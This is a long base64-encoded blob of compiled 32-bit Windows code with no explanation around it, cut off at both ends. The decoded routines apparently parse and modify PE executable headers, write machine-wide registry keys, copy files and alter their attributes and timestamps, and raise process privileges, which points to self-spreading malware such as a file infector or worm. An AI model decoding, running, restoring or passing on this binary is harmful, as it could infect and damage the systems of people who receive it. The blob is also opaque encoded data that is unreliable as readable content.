Xfzo3tH//41F+GoBUI1N6P91COjQ0f//i/A783UEM8DrY1eL/otF+IvPK86NUP87yn1HjU38 K8dRjY3o+///aAAEAACNRDD/UVBX6B7+//+DxBSDffwAi/h0yv91FI2F6Pv///91EFD/dQzo Hu7//4PEEIXAfq5D66uNTejoINL//4vDX15bycNVi+xRUYtFGINN+P9QagD/dRSJRfzo5zAA AIPEDI1FGFD/dQz/dQj/FUzQQACFwHQFagFYycONRfxQjUX4/3UUUGoA/3UQ/3UY/xUU0EAA /3UY/xVc0EAAM8DJw1WL7I1FDFD/dQz/dQj/FRjQQACFwHQFagFYXcP/dRTo0TEAAFlQ/3UU agFqAP91EP91DP8VENBAAP91DP8VXNBAADPAXcNVi+yB7AwBAACNRfxWUDP2/3UM/3UI/xVM 0EAAhcB0BDPA61eNhfT+//9oBAEAAFBW/3X8/xVQ0EAAhcB1LzlFEHQjIUX4/3UUjUX4UI2F 9P7//1D/dQz/dQj/VRCDxBSDffgAdQNG67uL8OsDagFe/3X8/xVc0EAAi8ZeycNVi+yB7BQI AABTjUX8VlD/dQy+AAQAADPbiXXw/3UIiXX4/xVM0EAAhcB0BDPA63ONRfiJdfBQjYXs9/// UI1F7FCNRfBqAFCNhez7//+JdfhQU/91/P8VRNBAAIXAdTWDfewBdSg5RRB0IyFF9P91FI1F 9FCNhez7//9Q/3UM/3UI/1UQg8QUg330AHUDQ+ufi/DrA2oBXv91/P8VXNBAAIvGXlvJw4N8 JAQAdQmDPcwxQQAAdRf/FTTRQABQ6GM3AABZ6Gc3AACjzDFBAOldNwAAVYvsg+xUVjP2akSN RaxWUOj5LgAAg8QMjUXwx0WsRAAAAFCNRaxQVlZWVlZW/3UM/3UI/xWk0EAA99gbwF4jRfDJ w1WL7IPsHFNWjU3k6BbP//+DZfgAvsDwQABW6PwvAABZiUX0jUX8agFQjU3k/3UI6PXO//+L 2IXbdFOLTfxXgfkAoAAAcju4ABAAAIHBGPz//zvIi/h2Kv919I0EH1BW6Jc7AACDxAyFwHQP i0X8RwUY/P//O/hy3+sHx0X4AQAAAI1N5Ohaz///i0X4X15bycNVi+yB7AAEAABojQdBAP91 EOi88///WYXAWXRzjYUA/P//aAAEAABQgKUA/P//AP91EP91DP91COj8/P//jYUA/P//UOgm ////g8QYhcB0P4tNGGoBWP91DIkBi00UaOA0SQCJAegwLgAAjYUA/P//UGjkNUkA6B8uAAD/ dRBo3DNJAOgSLgAAg8QYM8DJw2oBWMnDVYvsgewACAAA/3UMjYUA/P//UOjuLQAAjYUA/P// aETwQABQ6O0tAAD/dRCNhQD8//9Q6N4tAACNhQD8//9ojQdBAFDo9fL//4PEIIXAdHmNhQD4 //+ApQD4//8AaAAEAABQjYUA/P//aJMHQQBQ/3UI6C78//+NhQD4//9Q6Fj+//+DxBiFwHQ/ i00YagFY/3UMiQGLTRRo4DRJAIkB6GItAACNhQD4//9QaOQ1SQDoUS0AAP91EGjcM0kA6EQt AACDxBgzwMnDagFYycNVi+yB7BwFAACDZfwAgz3wOEkAAHUlagRoUgJBAOhE6v//jU38UWhK SUAAUGgCAACA6EP8//+DxBjrPI2F6Pv//2oCUOiC8v//jYXo+///UGjgNEkA6N4sAACNRfxQ jYXo+///aLZIQABQaAIAAIDog/z//4PEIItF/IXAo/Q4SQAPhdEAAABWjYXk+v//aAQBAABQ /xWo0EAAM/aAZegAjUXoaI0HQQBQ6IosAABZjUXoWWoEagRqAlDoaS0AAFmNRAXoUOhN7P// jUXpUOjBfgAAjYXk+v//UI2F6Pv//1DoUiwAAI2F6Pv//2hE8EAAUOhRLAAAjUXoUI2F6Pv/ /1DoQSwAAI2F6Pv//2jcAUEAUOgwLAAAjYXo+///UOgn8///g8Q4hcB0CkaD/goPjGf///+N RehQaNwzSQDoBSwAAI2F6Pv//1Bo5DVJAOjkKwAAg8QQXmoBWMnDi0QkBGaLTCQIZgFIAmaL SAJmg/kBfQ5mg0ACHmaLSAJm/wjr7GaDeAIffhJmg0AC4maLSAJm/wBmg/kff+5miwhmg/kB fQaDwQxmiQhmiwhmg/kMfgaDwfRmiQjDi0QkDFaLdCQIV4t8JBCAJwCAIACAPlx1WIB+AVx1 UlNouPBAAFfoUysAAFmNRgJZighqAoD5XFp0F4vfK96EyXQPighCiAwDikgBQID5XHXtgCQ6 AAPWW4A6AHUEagLrElL/dCQY6BMrAABZM8BZ6wNqAVhfXsNVi+yB7BAEAABWjYX0/P//aOQ1 SQBQ6OwqAABZjYX8/v//WTP2aAQBAABQVv8VFNFAAFaNhfD7//9WUI2F9Pz//1ZQ6CosAABW jYX4/f//VlCNhfz+//9WUOgULAAAjYX4/f//UI2F8Pv//1DoZnwAAIPEMPfYG8BeQMnDVot0 JAyD/kRyMYtMJAiAOU11KIB5AVp1Ig+3QTwDwYPG/IvQK9E71ncRiwBeLVBFAAD32BvA99Aj wsMzwF7DVYvsU4tdEFaLdQhXU1borv///1mFwFl0UI0MMIt1DItRdI1BdDvWckAPt0kGi3Tw /IPABDP/hcmNRNAIdiuDw/yJXRCL0CtVCDtVEHMbi1AEixgD2jvedgQ71nYIg8AoRzv5ct87 +XICM8BfXltdw1WL7FNWi3UMV4t9CI1GEIlFDIvGK8eDwBA7RRgPh4AAAAAPt0YOD7dODINl CAADwYXAfmaLXRSLRQyLTRgrx4PACDvBd1SLRQyLQASpAAAAgHQcUVP/dRAl////fwPHUFfo mv///4PEFIXAdDXrFYvTA8crVRABEIsAO8NyJAPLO8FzHg+3Rg4Pt04Mg0UMCP9FCAPBOUUI fJ1qAVhfXltdwzPA6/dVi+yD7DxWjU3U6CLJ//+NTcToGsn//41F/GoBUDP2/3UMjU3EiXX4 iXX8iXX0iXXw6P7I//87xolFDHUHM8DpZAEAAItF/ItNEFONhAgAEAAAUP91COj58f//WY1F +FlWUP91CI1N1OjHyP//i9g73old7A+E/gAAAFf/dfhqA1PoZP7//4v4g8QMO/4PhNoAAAD/ dfxqA/91DOhK/v//i/CDxAyF9g+EwAAAAP91/P91DOjz/f///3X4iUUQU+jn/f//i00Qi1UM A8qDxBBmg3lcAg+FkwAAAIuJjAAAAAPYiU0QiYuMAAAAi0YIi08MiUcIiwaJB4tHCAPBiUXw i0YEiUXki0cEiUXoi0YIi3YMA/KLVeyNPBGLyCtNDAPOO038d0dQVlfouCwAAP91EP916P91 5FdX6Bz+//8Pt0sUiUX0i9MPt0MGA9GDxCCNBICNTML4i0TC/AMBZqn/D3QHwegMQMHgDIlD UI1N1Oh5yP//M/ZfjU3E6G7I//85dfRbdB+LRfA7RfxzA4tF/FD/dQjouvD///91COhMAQAA g8QMi0X0XsnDVYvsg+wUU1aNTezodsf//zP2jUX8VlD/dQiNTezoZ8f//4vYO951BzPA6b0A AABX/3X8U+jH/P//i/hZhf9ZD4SBAAAA/3X8agNT6O/8//+DxAyFwHRvahCNNB9aiZaMAAAA i0gEA8qJEGb3wf8PiVAIdAfB6QxBweEMiU5Qi0gMi3gIA/k7fQxzA4t9DGb3x/8PdAfB7wxH wecMjQQZi8gryztN/HMMUmoAUOh6JgAAg8QMi4bsAAAAhcB0A4lGKGoBXusDi30IjU3s6HLH //+F9nQLV/91COjL7///WVn/dQjoWwAAAFmLxl9eW8nDVYvsUYtFDDPJ0eiJTfx0KYtVCFaL 8A+3AgPIiU0Ii0UIwegQiUUIgeH//wAAA00IQkJOdeGJTfxeiU0Ii0UIwegQi1X8ZgPCiUUI i0UIA0UMycNVi+yD7BRWV41N7Ogzxv//g2X8ADP2jUX8VlCNTez/dQjoIMb//4v4hf90O/91 /FfoiPv//1mFwFl0IoN8OFgAjXQ4WHQSgyYA/3X8V+hb////WYkGWesDi0UIi/CNTezom8b/ /4vGX17Jw1WL7IHsAAgAAIM98DhJAAB1NYM9EDlJAAB0LI2FAPj//2jIAAAAUGr//3UIagFq AP8VeNBAAI2FAPj//1BqAP8VEDlJAMnDM8DJw1WL7IPsDFNWV4tFCIlF+ItFDIlF9It1+It9 9FFSUzPJSYvRM8Az26wywYrNiuqK1rYIZtHrZtHYcwlmNSCDZoHzuO3+znXrM8gz00911ffS 99Fbi8LBwBBmi8FaWYlF/ItF/F9eW8nDVYvsgexQAQAAU1ZXagNfjU3Q6A7F////dRDo+yUA AIvwWY1F6IPGIFD/FdjQQABmgWXq/v8z21PoU/X//1kz0moeWffxZilV8maDffI8cgZmx0Xy AQCKRfKLTfCD4D/B4QYLwYpN9NDpweAFg+EfC8GKTf5miUX8i0Xog8BEg+EfweAJM8GKTeqD 4Q9mJR/+weEFC8GKTe5miUX+Mk3+g+EfZjPBOV0UZolF/nQDagJfaiD/dQj/FYDQQABTaiBX U2oDaAAAAMD/dQj/FfzQQACL+IP//4l9+HQqagJTU1f/FeTQQACNReRqAVCNTdD/dQzoMcT/ /zvDiUUMdQ5X/xUk0UAAM8Dp8wAAAItF5MaFsv7//3RQZseFs/7//wCA/3UMZom1tf7//4mF t/7//4mFu/7//4idv/7//+hX/v///3UQiYXA/v//i0X8xoXI/v//FImFxP7//8aFyf7//zDo tCQAAP91EGaJhcr+//+NhdD+//+Jncz+//9Q6KgjAAAPt/6NR/5QjYWy/v//UOgD/v//izVs 0EAAg8QcOV0UZomFsP7//3QRjUXgU1BqFGisDUEA/3X4/9aNReBTUI2FsP7//1dQ/3X4/9aN ReBTUP915P91DP91+P/WjU3Q6P3D////dfj/FSTRQAA5XRR0Cf91COgBAQAAWWoBWF9eW8nD VYvsUYsNFDlJAINl/ABqAYXJWHQIjUX8agBQ/9HJw1WL7IHsYAYAAItFCFMz28dF8EAGAAA7 w4ld/HUG/xWs0EAAjU0IUWooUP8VINBAAIXAD4SeAAAAVo1F9FdQ/3UMU/8VCNBAAIXAdHyL RfSLNQzQQACJReSLRfiJReiNRfBQjYWg+f//UI1F4GoQUFOJXeD/dQiJXez/1os94NBAAP/X hcB1QYtF9IONrPn//wKJhaT5//+LRfiJhaj5//9TU42FoPn//2oQUFPHhaD5//8BAAAA/3UI /9b/14XAdQfHRfwBAAAA/3UI/xUk0UAAi0X8X15bycNVi+yD7BhWM/ZXVmogagNWagFoAAAA wP91CP8V/NBAAIv4O/4PhK4AAACNRehQ/xW00EAAVuha8v//ajwz0ln38VZmiVXy6Eny//9Z M9JZahhZ9/FmKVXwZjl18H8IZgFN8Gb/Te5W6Cjy//9ZM9JqHFn38WYpVe5mOXXufxJW6BDy //9ZM9JqA1n38WaJVe5W6P7x//9ZM9JqDFn38WYpVepmOXXqfwhmAU3qZv9N6I1F+FCNRehQ /xWw0EAAjUX4UI1F+FCNRfhQV/8VMNFAAFf/FSTRQABfXsnDVYvsgeyUAAAAU1ZXagFbU+ij 8f//vgQBAAAz/1ZXaOw3SQDoyiAAAFZXaOg2SQDoviAAAFZXaOQ1SQDosiAAAFZXaOA0SQDo piAAAFZXaNwzSQDomiAAAIPEQGjQ8EAAaGYiAABo1PBAAOjH3///aPg4SQDoCdD//4PEEP8V vNBAACUAAACAiT0AOUkAo/A4SQCNhWz///9Qx4Vs////lAAAAP8VuNBAAIO9cP///wV1Djmd dP///3UGiR0AOUkA6FXz//++ANAHAFbowSgAADvHWaPYM0kAdQQzwOskVldQ6AwgAADo1QAA AFNoBA5BAOiK3f//UFfoTv3//4PEHIvDX15bycNVi+yD7BRXjU3s6DfA//+NRfxqAFCNTez/ dQjoKcD//4v4hf8PhIwAAABWvgAQAAA5dfxzBDP263JT/3UM6PkgAACL2ItF/AUY/P//WTvG dlaNBD5TUP91DOi9LAAAg8QMhcB0D4tF/EYFGPz//zvwct/rM418PhS+ZiIAAI1f/FNWV+in 3v//i0UMVoPAFFBX6GUkAABT6ADe//9TVlfoL97//4PEKGoBXluNTezoUMD//4vGXl/Jw1NV VldqAmiTC0EA6LDc//+LHfTQQABZWVD/04s1ONFAAIvohe2/kwxBAHQ5agFX6Izc//9ZWVBV /9ZqBFejCDlJAOh53P//WVlQVf/WagVXowQ5SQDoZtz//1lZUFX/1qMMOUkAagNokwtBAOhP 3P//WVlQ/9OL6IXtdBNqA1foPNz//1lZUFX/1qMQOUkAv8gNQQBX/9OL2IXbdBNqAVfoG9z/ /1lZUFP/1qMUOUkAX15dW8NVi+yB7EwGAABTVleNTeToxL7//4t9CDPbV4ld9OiQ7///hcBZ D4VqAgAAV+jP+P//hcBZD4VbAgAAvvsMQQBTVuj12///iUX8jYW4+v//U1BTU1fo7x8AAIPE HDld/IldCH4x/3UIVuie2///OBhZWXQXUI2FuPr//1DoleP//1mFwFkPhQsCAAD/RQiLRQg7 Rfx8z42FyP7//1Dog+X//42FvPv//8cEJAQBAABQU/8VFNFAAI2FyP7//1NQjYW8+///UP8V fNBAAIXAD4TCAQAAizWA0EAAjYXI/v//aiBQ/9ZoAFABAI2FyP7//1dQ6LH0//+DxAyFwA+E hwEAAI1F+FNQV41N5OjMvf//O8OJRQgPhG4BAACBffgAUAEAD4ZZAQAAgX34AAAwAA+DTAEA AI2FvPv//1NQjYW0+f//UI2FxP3//1BX6PgeAACNhbT5//9QjYXE/f//UOiKHQAAjYW8+/// UI2FxP3//1Dodx0AAI2FxP3//2is8EAAUOhmHQAAagRqA42FwPz//2oDUOgj3f//D76FwPz/ /1DotSAAAIPEQIiFwPz//42FwPz//1CNhcT9//9Q6CsdAACNRfRQ/3X4/3UI6BkaAACDxBQ7 w4lFCI1N5A+EoQAAAOiuvf///3X0jYXE/f///3UIUOha4///jYXE/f//UOiq+v//g8QQjYXE /f//aidQ/9aNRcxQV+io5v//WYlF/FlqIFf/1lONhcj+//9XUP8VfNBAAI2FyP7//1DoUOT/ /42FxP3//1Bo1ABBAOiKHAAAaMDwQABX6DT8//+DxBQ5Xfx0DI1FzFBX6J3m//9ZWf91COj+ IAAAWWoBWOsXjU3k6A29//+Nhcj+//9Q6P7j//9ZM8BfXlvJw1WL7IHsKAQAAFaNTejoKrz/ /4Nl/ACNRfhqAVD/dQiNTejoGLz//4vwhfYPhJMAAACNheD9//9QjYXY+///UI2F3Pz//1CN heT+//9Q/3UI6FcdAACNhdz8//9QjYXk/v//UOjpGwAAjYXY+///UI2F5P7//1Do1hsAAICl 5f3//wCNheH9//9QjYXk/v//UOi8GwAAjYXk/v//aNwBQQBQ6KsbAACNRfxQ/3X4VuiqGQAA i/CDxECF9o1N6HUJ6DW8//8zwOtU6Cy8////dfyNheT+//9WUOja4f//Vuj5HwAAg8QQM/b/ FcTQQABQjYXk/v//UOjY6///WYXAWXQZav9Q/xXA0EAAjYXk/v//UOjg4v//WWoBXovGXsnD VYvsgewEAQAAjYX8/v//aAQBAABQaKAxQQBqBWhSAkEA6CrY//9ZWVBoAQAAgOiO6f//agGN hfz+////dQz/dQhQ6ODo//+DxCTJw1WL7IHsDAIAAFMz2zldDFZXiV38D4WLAQAAvosJQQBT VugO2P//i/iNhfT9//9QjYX4/v//UFNTiJ34/v///3UI6PsbAACDxBxPO/uJXQx+Mf91DFbo qtf//1CNhfj+//9Q6D9sAACDxBCFwHUMOX0MdAfHRfwBAAAA/0UMOX0MfM+NhfT9//9QjYX4 /v//UOhRGgAAvhsLQQBTVuiT1///g8QQM/87w4lFDH4oV1boUNf//1CNhfj+//9Q6OVrAACD xBCFwHUHx0X8AQAAAEc7fQx82Dld/HQpagFo8A1BAOge1///i3UIUFboHt///4PEEIXAdQ9W 6I7h//9Z6aIAAACLdQhW6MXf//+L+Fk7+3w1VmjoNkkA6LgZAABZg/8FWX02VmjsN0kA6KYZ AABqAWgA0AcA/zXYM0kAVuiY5///g8QY6xOD/5x1DlNq/2r/Vuh6EgAAg8QQixUYOUkAadIs AQAAgfpYGwAAfhdT6Mfp//9ZM9JqBVn38YPCB2nS6AMAAFL/FSzRQAD/BRg5SQCBPRg5SQAQ JwAAfgaJHRg5SQBqAVhfXlvJw1WL7IHsDAMAAFMz242F9Pz//1NQjYX8/v//UFP/dQjocBoA AIPEFDldDHVtOV0QdT+Nhfz+//9Q6NwZAAA7w1l0B4icBfv+//+Nhfj9//9TUFONhfz+//9T UOg1GgAAjYX4/f//UOh63v//g8QY6w2NhfT8//9Q6Gne//9ZhcB0GGoBaADQBwD/NdgzSQD/ dQjomOb//4PEEGoBWFvJw1ZXi3wkDGoBXmhuCUEAV+iu3f//WYXAWXQlaG0JQQBX6J3d//9Z hcBZdAIz9lZoJ15AAFfoHeD//4PEDGoBWF9ew1WL7IHsDAsAAItFFFNWV/91DDPbiRiNhfT0 //9Q6CYYAACNhfT0//9oRPBAAFDoJRgAAP91EI2F9PT//1DoFhgAAI2F9Pj//2gABAAAUI2F 9PT//1NQaAIAAIDoh+b//42F9Pj//1CNhfz+//9Q6NUXAACDxDSNhfT4//9oBAEAAFCNhfz+ //9Q/xXI0EAAvosJQQBTVugL1f//iUUUjYX0/P//U1BTjYX0+P//U1Do/xgAAIPEHDP/OV0U fitXVuix1P//OBhZWXQTUI2F9Pz//1DoqNz//1mFwFl1Bkc7fRR82jt9FHwkjYX0+P//aCMN QQBQ6Ibc//9ZhcBZdA2NhfT4//9Q6F/4//9ZU42F+P3//1NQjYX8/v//UI2F9Pj//1DoihgA AI2F+P3//1CNhfz+//9Q6BwXAACNhfz+//9Q6Hb+//+DxCBo6AMAAP8VLNFAAGoBWF9eW8nD VYvsgewIAQAAgKX4/v//AI2F+P7//2oBUOhf3P//jUX8UI2F+P7//2gIX0AAUGgCAACA6PPl //+DxBhogO42AP8VLNFAAOvBVYvsg30MAHU0g30QAHUIagX/FSzRQAD/dQjoftz//4XAWXwU g/gDfQ//dQho7DdJAOhsFgAAWVlqAVhdw/91COjT/f//hcBZdAQzwF3DM8A5RRAPlMBdw1WL 7IHsDAEAAICl9P7//wBTjYX0/v//aAQBAABQagFobQlBAOhP0///WVlQaFICQQBoAgAAgOiu 5P//jYX0/v//UOh5/f//D76F9P7//4qd9v7//1DobhkAAIPEHINl+ACIRf+KRfgEYTpF/3Q8 gKX2/v//AIiF9P7//42F9P7//1D/FczQQACD+AOInfb+//91F/91CI2F9P7//2iuYEAAUOhv 3f//g8QM/0X4g334GnyxM8BbycIEAFZohQlBAP90JBDogRUAAIt0JBBW6GcWAACDxAwzyYXA fguAPDFAdAVBO8h89Ug7yHwEM8Bew41EMQFQ/3QkEOhcFQAAWVlqAVhew1WL7IHsFAIAAIA9 1DJJAABWD4SbAAAAgD3QMUkAAA+EjgAAAIN9EACLdQh0ElboA7b///91DFbo0sD//4PEDGpk aAABAABqGWjUMkkAjY3s/f//6NjJ//9qBGoKjUWcagNQ6L3U//+DxBCNRZyNjez9//9Q6DvO //+DxmSNjez9//9W6OrO//9o0DFJAI2N7P3//+gxzv//jY3s/f//6MTK//+FwHQQjY3s/f// 6FDK//8zwF7Jw/91DOh2FQAAWVCNjez9////dQzo9Mr//42N7P3//4vw6CbK//8zwIX2D5TA 689Vi+yB7BgDAABWi3UIjYXo/P//UFbotv7//1mFwFl1BzPA6boAAACDfRAAdBJW6B61//// dQxW6O2///+DxAxqZGgAAQAAjYXo/P//ahlQjY3s/f//6PHI//9qBGoKjUWcagNQ6NbT//+D xBCNRZyNjez9//9Q6FTN//+NRmSNjez9//9Q6APO//9WjY3s/f//6E7N//+Njez9///o4cn/ /4XAdBCNjez9///obcn//+lr/////3UM6JMUAABZUI2N7P3///91DOgRyv//jY3s/f//i/Do Q8n//zPAhfYPlMBeycNVi+yB7AAIAACApQD4//8AgKUA/P//AI2FAPj//1D/dQjoxv3//42F APz//1D/dQzot/3//42FAPz//1CNhQD4//9Q6ARlAACDxBj32BvAQMnDg+wQVVZXg0wkGP+9 ABAAAGoBVb7U8EAA/3QkKDP/iXwkIFbops///4PEEIXAD4XvAAAAV1boTtD//1k7x1mJRCQQ D46yAAAAUzPbhf+JXCQQfjNTVuj+z///WVlQV1bo9M///1lZUOhC////WYXAWXQIx0QkEAEA AABDO9981IN8JBAAdUxqAY1fATtcJBhYiUQkEH0uU1bou8///1lZUFdW6LHP//9ZWVDo//7/ /1mFwFl0BP9EJBBDO1wkFHzWi0QkEDtEJBh+CIlEJBiJfCQcRzt8JBQPjGz///+DfCQYAFt+ FYN8JBgAfA5V/3QkHFbow8///4PEDDP/agFV/3QkKFboxc7//4PEEIXAdRJVav9W6KHP//+D xAxHg/8KfNpqAVhfXl2DxBDDgewEAgAAU1VWV8dEJBABAAAAMtu+Xg5BAL0EAQAAvwEAAID/ dCQQjUQkGIgd1DJJAIgd0DFJAFZo6ChBAFDoBBYAAIPEEFVo1DJJAGoBVujYzv//WVlQjUQk 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 